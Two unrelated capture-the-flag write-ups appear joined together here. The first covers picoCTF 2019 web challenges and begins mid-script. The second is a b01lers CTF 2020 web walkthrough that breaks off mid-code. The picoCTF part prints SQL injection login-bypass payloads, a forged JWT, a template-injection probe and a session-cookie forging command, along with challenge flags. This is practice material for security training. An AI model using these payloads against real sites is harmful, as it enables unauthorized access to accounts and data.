_0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
# b01lers CTF 2020 – Welcome to Earth * **Category:** web* **Points:** 100 ## Challenge > This was supposed to be my weekend off, but noooo, you got me out here, draggin' your heavy ass through the burning desert, with your dreadlocks sticking out the back of my parachute. You gotta come down here with an attitude, actin' all big and bad. And what the hell is that smell? I coulda been at a barbecue, but I ain't mad.> > http://web.ctf.b01lers.com:1000/ ## Solution The webpage contains the following HTML. ```html <html> <head> <title>Welcome to Earth</title> </head> <body> <h1>AMBUSH!</h1> You've gotta escape! <script> document.onkeydown = function(event) { event = event || window.event; if (event.keyCode == 27) { event.preventDefault(); window.location = "/chase/"; } else die(); }; You've gotta escape! function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function dietimer() { await sleep(10000); die(); } function die() { window.location = "/die/"; } dietimer(); </script> </body></html>``` So you can discover the `http://web.ctf.b01lers.com:1000/chase/` endpoint. ```html <html> <head> <title>Welcome to Earth</title> </head> <body> <h1>CHASE!</h1> You managed to chase one of the enemy fighters, but there's a wall coming up fast! <button onclick="left()">Left</button> <button onclick="right()">Right</button> You managed to chase one of the enemy fighters, but there's a wall coming up fast! <script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function dietimer() { await sleep(1000); die(); } function die() { window.location = "/die/"; } function left() { window.location = "/die/"; } function leftt() { window.location = "/leftt/"; } function right() { window.location = "/die/"; } dietimer(); </script> </body></html>``` So you can discover the `http://web.ctf.b01lers.com:1000/leftt/` endpoint. ```html <html> <head> <title>Welcome to Earth</title> </head> <body> <h1>SHOOT IT</h1> You've got the bogey in your sights, take the shot! <button onClick="window.location='/die/'">Take the shot</button> </body></html>``` You've got the bogey in your sights, take the shot! So you can discover the `http://web.ctf.b01lers.com:1000/shoot/` endpoint. ```html <html> <head> <title>Welcome to Earth</title> </head> <body> <h1>YOU SHOT IT DOWN!</h1> Well done! You also crash in the process <button onClick="window.location='/door/'">Continue</button> </body></html>``` Well done! You also crash in the process So you can discover the `http://web.ctf.b01lers.com:1000/door/` endpoint. ```html <html> <head> <title>Welcome to Earth</title> <script src="/static/js/door.js"></script> </head> <body> <h1>YOU APPROACH THE ALIEN CRAFT!</h1> How do you get inside? <form id="door_form"> <input type="radio" name="side" value="0" />0 <input type="radio" name="side" value="1" />1 <input type="radio" name="side" value="2" />2 <input type="radio" name="side" value="3" />3 <input type="radio" name="side" value="4" />4 <input type="radio" name="side" value="5" />5 <input type="radio" name="side" value="6" />6 <input type="radio" name="side" value="7" />7 <input type="radio" name="side" value="8" />8 <input type="radio" name="side" value="9" />9 <input type="radio" name="side" value="10" />10 <input type="radio" name="side" value="11" />11 <input type="radio" name="side" value="12" />12 <input type="radio" name="side" value="13" />13 <input type="radio" name="side" value="14" />14 <input type="radio" name="side" value="15" />15 <input type="radio" name="side" value="16" />16 <input type="radio" name="side" value="17" />17 <input type="radio" name="side" value="18" />18 <input type="radio" name="side" value="19" />19 <input type="radio" name="side" value="20" />20 <input type="radio" name="side" value="21" />21 <input type="radio" name="side" value="22" />22 <input type="radio" name="side" value="23" />23 <input type="radio" name="side" value="24" />24 <input type="radio" name="side" value="25" />25 <input type="radio" name="side" value="26" />26 <input type="radio" name="side" value="27" />27 <input type="radio" name="side" value="28" />28 <input type="radio" name="side" value="29" />29 <input type="radio" name="side" value="30" />30 <input type="radio" name="side" value="31" />31 <input type="radio" name="side" value="32" />32 <input type="radio" name="side" value="33" />33 <input type="radio" name="side" value="34" />34 <input type="radio" name="side" value="35" />35 <input type="radio" name="side" value="36" />36 <input type="radio" name="side" value="37" />37 <input type="radio" name="side" value="38" />38 <input type="radio" name="side" value="39" />39 <input type="radio" name="side" value="40" />40 <input type="radio" name="side" value="41" />41 <input type="radio" name="side" value="42" />42 <input type="radio" name="side" value="43" />43 <input type="radio" name="side" value="44" />44 <input type="radio" name="side" value="45" />45 <input type="radio" name="side" value="46" />46 <input type="radio" name="side" value="47" />47 <input type="radio" name="side" value="48" />48 <input type="radio" name="side" value="49" />49 <input type="radio" name="side" value="50" />50 <input type="radio" name="side" value="51" />51 <input type="radio" name="side" value="52" />52 <input type="radio" name="side" value="53" />53 <input type="radio" name="side" value="54" />54 <input type="radio" name="side" value="55" />55 <input type="radio" name="side" value="56" />56 <input type="radio" name="side" value="57" />57 <input type="radio" name="side" value="58" />58 <input type="radio" name="side" value="59" />59 <input type="radio" name="side" value="60" />60 <input type="radio" name="side" value="61" />61 <input type="radio" name="side" value="62" />62 <input type="radio" name="side" value="63" />63 <input type="radio" name="side" value="64" />64 <input type="radio" name="side" value="65" />65 <input type="radio" name="side" value="66" />66 <input type="radio" name="side" value="67" />67 <input type="radio" name="side" value="68" />68 <input type="radio" name="side" value="69" />69 <input type="radio" name="side" value="70" />70 <input type="radio" name="side" value="71" />71 <input type="radio" name="side" value="72" />72 <input type="radio" name="side" value="73" />73 <input type="radio" name="side" value="74" />74 <input type="radio" name="side" value="75" />75 <input type="radio" name="side" value="76" />76 <input type="radio" name="side" value="77" />77 <input type="radio" name="side" value="78" />78 <input type="radio" name="side" value="79" />79 <input type="radio" name="side" value="80" />80 <input type="radio" name="side" value="81" />81 <input type="radio" name="side" value="82" />82 <input type="radio" name="side" value="83" />83 <input type="radio" name="side" value="84" />84 <input type="radio" name="side" value="85" />85 <input type="radio" name="side" value="86" />86 <input type="radio" name="side" value="87" />87 <input type="radio" name="side" value="88" />88 <input type="radio" name="side" value="89" />89 <input type="radio" name="side" value="90" />90 <input type="radio" name="side" value="91" />91 <input type="radio" name="side" value="92" />92 <input type="radio" name="side" value="93" />93 <input type="radio" name="side" value="94" />94 <input type="radio" name="side" value="95" />95 <input type="radio" name="side" value="96" />96 <input type="radio" name="side" value="97" />97 <input type="radio" name="side" value="98" />98 <input type="radio" name="side" value="99" />99 <input type="radio" name="side" value="100" />100 <input type="radio" name="side" value="101" />101 <input type="radio" name="side" value="102" />102 <input type="radio" name="side" value="103" />103 <input type="radio" name="side" value="104" />104 <input type="radio" name="side" value="105" />105 <input type="radio" name="side" value="106" />106 <input type="radio" name="side" value="107" />107 <input type="radio" name="side" value="108" />108 <input type="radio" name="side" value="109" />109 <input type="radio" name="side" value="110" />110 <input type="radio" name="side" value="111" />111 <input type="radio" name="side" value="112" />112 <input type="radio" name="side" value="113" />113 <input type="radio" name="side" value="114" />114 <input type="radio" name="side" value="115" />115 <input type="radio" name="side" value="116" />116 <input type="radio" name="side" value="117" />117 <input type="radio" name="side" value="118" />118 <input type="radio" name="side" value="119" />119 <input type="radio" name="side" value="120" />120 <input type="radio" name="side" value="121" />121 <input type="radio" name="side" value="122" />122 <input type="radio" name="side" value="123" />123 <input type="radio" name="side" value="124" />124 <input type="radio" name="side" value="125" />125 <input type="radio" name="side" value="126" />126 <input type="radio" name="side" value="127" />127 <input type="radio" name="side" value="128" />128 <input type="radio" name="side" value="129" />129 <input type="radio" name="side" value="130" />130 <input type="radio" name="side" value="131" />131 <input type="radio" name="side" value="132" />132 <input type="radio" name="side" value="133" />133 <input type="radio" name="side" value="134" />134 <input type="radio" name="side" value="135" />135 <input type="radio" name="side" value="136" />136 <input type="radio" name="side" value="137" />137 <input type="radio" name="side" value="138" />138 <input type="radio" name="side" value="139" />139 <input type="radio" name="side" value="140" />140 <input type="radio" name="side" value="141" />141 <input type="radio" name="side" value="142" />142 <input type="radio" name="side" value="143" />143 <input type="radio" name="side" value="144" />144 <input type="radio" name="side" value="145" />145 <input type="radio" name="side" value="146" />146 <input type="radio" name="side" value="147" />147 <input type="radio" name="side" value="148" />148 <input type="radio" name="side" value="149" />149 <input type="radio" name="side" value="150" />150 <input type="radio" name="side" value="151" />151 <input type="radio" name="side" value="152" />152 <input type="radio" name="side" value="153" />153 <input type="radio" name="side" value="154" />154 <input type="radio" name="side" value="155" />155 <input type="radio" name="side" value="156" />156 <input type="radio" name="side" value="157" />157 <input type="radio" name="side" value="158" />158 <input type="radio" name="side" value="159" />159 <input type="radio" name="side" value="160" />160 <input type="radio" name="side" value="161" />161 <input type="radio" name="side" value="162" />162 <input type="radio" name="side" value="163" />163 <input type="radio" name="side" value="164" />164 <input type="radio" name="side" value="165" />165 <input type="radio" name="side" value="166" />166 <input type="radio" name="side" value="167" />167 <input type="radio" name="side" value="168" />168 <input type="radio" name="side" value="169" />169 <input type="radio" name="side" value="170" />170 <input type="radio" name="side" value="171" />171 <input type="radio" name="side" value="172" />172 <input type="radio" name="side" value="173" />173 <input type="radio" name="side" value="174" />174 <input type="radio" name="side" value="175" />175 <input type="radio" name="side" value="176" />176 <input type="radio" name="side" value="177" />177 <input type="radio" name="side" value="178" />178 <input type="radio" name="side" value="179" />179 <input type="radio" name="side" value="180" />180 <input type="radio" name="side" value="181" />181 <input type="radio" name="side" value="182" />182 <input type="radio" name="side" value="183" />183 <input type="radio" name="side" value="184" />184 <input type="radio" name="side" value="185" />185 <input type="radio" name="side" value="186" />186 <input type="radio" name="side" value="187" />187 <input type="radio" name="side" value="188" />188 <input type="radio" name="side" value="189" />189 <input type="radio" name="side" value="190" />190 <input type="radio" name="side" value="191" />191 <input type="radio" name="side" value="192" />192 <input type="radio" name="side" value="193" />193 <input type="radio" name="side" value="194" />194 <input type="radio" name="side" value="195" />195 <input type="radio" name="side" value="196" />196 <input type="radio" name="side" value="197" />197 <input type="radio" name="side" value="198" />198 <input type="radio" name="side" value="199" />199 <input type="radio" name="side" value="200" />200 <input type="radio" name="side" value="201" />201 <input type="radio" name="side" value="202" />202 <input type="radio" name="side" value="203" />203 <input type="radio" name="side" value="204" />204 <input type="radio" name="side" value="205" />205 <input type="radio" name="side" value="206" />206 <input type="radio" name="side" value="207" />207 <input type="radio" name="side" value="208" />208 <input type="radio" name="side" value="209" />209 <input type="radio" name="side" value="210" />210 <input type="radio" name="side" value="211" />211 <input type="radio" name="side" value="212" />212 <input type="radio" name="side" value="213" />213 <input type="radio" name="side" value="214" />214 <input type="radio" name="side" value="215" />215 <input type="radio" name="side" value="216" />216 <input type="radio" name="side" value="217" />217 <input type="radio" name="side" value="218" />218 <input type="radio" name="side" value="219" />219 <input type="radio" name="side" value="220" />220 <input type="radio" name="side" value="221" />221 <input type="radio" name="side" value="222" />222 <input type="radio" name="side" value="223" />223 <input type="radio" name="side" value="224" />224 <input type="radio" name="side" value="225" />225 <input type="radio" name="side" value="226" />226 <input type="radio" name="side" value="227" />227 <input type="radio" name="side" value="228" />228 <input type="radio" name="side" value="229" />229 <input type="radio" name="side" value="230" />230 <input type="radio" name="side" value="231" />231 <input type="radio" name="side" value="232" />232 <input type="radio" name="side" value="233" />233 <input type="radio" name="side" value="234" />234 <input type="radio" name="side" value="235" />235 <input type="radio" name="side" value="236" />236 <input type="radio" name="side" value="237" />237 <input type="radio" name="side" value="238" />238 <input type="radio" name="side" value="239" />239 <input type="radio" name="side" value="240" />240 <input type="radio" name="side" value="241" />241 <input type="radio" name="side" value="242" />242 <input type="radio" name="side" value="243" />243 <input type="radio" name="side" value="244" />244 <input type="radio" name="side" value="245" />245 <input type="radio" name="side" value="246" />246 <input type="radio" name="side" value="247" />247 <input type="radio" name="side" value="248" />248 <input type="radio" name="side" value="249" />249 <input type="radio" name="side" value="250" />250 <input type="radio" name="side" value="251" />251 <input type="radio" name="side" value="252" />252 <input type="radio" name="side" value="253" />253 <input type="radio" name="side" value="254" />254 <input type="radio" name="side" value="255" />255 <input type="radio" name="side" value="256" />256 <input type="radio" name="side" value="257" />257 <input type="radio" name="side" value="258" />258 <input type="radio" name="side" value="259" />259 <input type="radio" name="side" value="260" />260 <input type="radio" name="side" value="261" />261 <input type="radio" name="side" value="262" />262 <input type="radio" name="side" value="263" />263 <input type="radio" name="side" value="264" />264 <input type="radio" name="side" value="265" />265 <input type="radio" name="side" value="266" />266 <input type="radio" name="side" value="267" />267 <input type="radio" name="side" value="268" />268 <input type="radio" name="side" value="269" />269 <input type="radio" name="side" value="270" />270 <input type="radio" name="side" value="271" />271 <input type="radio" name="side" value="272" />272 <input type="radio" name="side" value="273" />273 <input type="radio" name="side" value="274" />274 <input type="radio" name="side" value="275" />275 <input type="radio" name="side" value="276" />276 <input type="radio" name="side" value="277" />277 <input type="radio" name="side" value="278" />278 <input type="radio" name="side" value="279" />279 <input type="radio" name="side" value="280" />280 <input type="radio" name="side" value="281" />281 <input type="radio" name="side" value="282" />282 <input type="radio" name="side" value="283" />283 <input type="radio" name="side" value="284" />284 <input type="radio" name="side" value="285" />285 <input type="radio" name="side" value="286" />286 <input type="radio" name="side" value="287" />287 <input type="radio" name="side" value="288" />288 <input type="radio" name="side" value="289" />289 <input type="radio" name="side" value="290" />290 <input type="radio" name="side" value="291" />291 <input type="radio" name="side" value="292" />292 <input type="radio" name="side" value="293" />293 <input type="radio" name="side" value="294" />294 <input type="radio" name="side" value="295" />295 <input type="radio" name="side" value="296" />296 <input type="radio" name="side" value="297" />297 <input type="radio" name="side" value="298" />298 <input type="radio" name="side" value="299" />299 <input type="radio" name="side" value="300" />300 <input type="radio" name="side" value="301" />301 <input type="radio" name="side" value="302" />302 <input type="radio" name="side" value="303" />303 <input type="radio" name="side" value="304" />304 <input type="radio" name="side" value="305" />305 <input type="radio" name="side" value="306" />306 <input type="radio" name="side" value="307" />307 <input type="radio" name="side" value="308" />308 <input type="radio" name="side" value="309" />309 <input type="radio" name="side" value="310" />310 <input type="radio" name="side" value="311" />311 <input type="radio" name="side" value="312" />312 <input type="radio" name="side" value="313" />313 <input type="radio" name="side" value="314" />314 <input type="radio" name="side" value="315" />315 <input type="radio" name="side" value="316" />316 <input type="radio" name="side" value="317" />317 <input type="radio" name="side" value="318" />318 <input type="radio" name="side" value="319" />319 <input type="radio" name="side" value="320" />320 <input type="radio" name="side" value="321" />321 <input type="radio" name="side" value="322" />322 <input type="radio" name="side" value="323" />323 <input type="radio" name="side" value="324" />324 <input type="radio" name="side" value="325" />325 <input type="radio" name="side" value="326" />326 <input type="radio" name="side" value="327" />327 <input type="radio" name="side" value="328" />328 <input type="radio" name="side" value="329" />329 <input type="radio" name="side" value="330" />330 <input type="radio" name="side" value="331" />331 <input type="radio" name="side" value="332" />332 <input type="radio" name="side" value="333" />333 <input type="radio" name="side" value="334" />334 <input type="radio" name="side" value="335" />335 <input type="radio" name="side" value="336" />336 <input type="radio" name="side" value="337" />337 <input type="radio" name="side" value="338" />338 <input type="radio" name="side" value="339" />339 <input type="radio" name="side" value="340" />340 <input type="radio" name="side" value="341" />341 <input type="radio" name="side" value="342" />342 <input type="radio" name="side" value="343" />343 <input type="radio" name="side" value="344" />344 <input type="radio" name="side" value="345" />345 <input type="radio" name="side" value="346" />346 <input type="radio" name="side" value="347" />347 <input type="radio" name="side" value="348" />348 <input type="radio" name="side" value="349" />349 <input type="radio" name="side" value="350" />350 <input type="radio" name="side" value="351" />351 <input type="radio" name="side" value="352" />352 <input type="radio" name="side" value="353" />353 <input type="radio" name="side" value="354" />354 <input type="radio" name="side" value="355" />355 <input type="radio" name="side" value="356" />356 <input type="radio" name="side" value="357" />357 <input type="radio" name="side" value="358" />358 <input type="radio" name="side" value="359" />359 </form> <button onClick="check_door()">Check</button> </body></html>``` How do you get inside? So you can discover the `http://web.ctf.b01lers.com:1000/static/js/door.js` file. ```javascriptfunction check_door() { var all_radio = document.getElementById("door_form").elements; var guess = null; for (var i = 0; i < all_radio.length; i++) if (all_radio[i].checked) guess = all_radio[i].value; rand = Math.floor(Math.random() * 360); if (rand == guess) window.location = "/open/"; else window.location = "/die/";}``` So you can discover the `http://web.ctf.b01lers.com:1000/open/` endpoint. ```html <html> <head> <title>Welcome to Earth</title> <script src="/static/js/open_sesame.js"></script> </head> <body> <h1>YOU FOUND THE DOOR!</h1> How do you open it? <script> open(0); </script> </body></html>``` How do you open it? So you can discover the `http://web.ctf.b01lers.com:1000/static/js/open_sesame.js` file. ```javascriptfunction sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms));} function open(i) { sleep(1).then(() => { open(i + 1); }); if (i == 4000000000) window.location = "/fight/";}``` So you can discover the `http://web.ctf.b01lers.com:1000/fight/` endpoint. ```html <html> <head> <title>Welcome to Earth</title> <script src="/static/js/fight.js"></script> </head> <body> <h1>AN ALIEN!</h1> What do you do? <input type="text" id="action"> <button onClick="check_action()">Fight!</button> </body></html>``` What do you do? So you can discover the `http://web.ctf.b01lers.com:1000/static/js/fight.js` file. ```javascript// Run to scramble original flag//console.log(scramble(flag, action));function scramble(flag, key) { for (var i = 0; i < key.length; i++) { let n = key.charCodeAt(i) 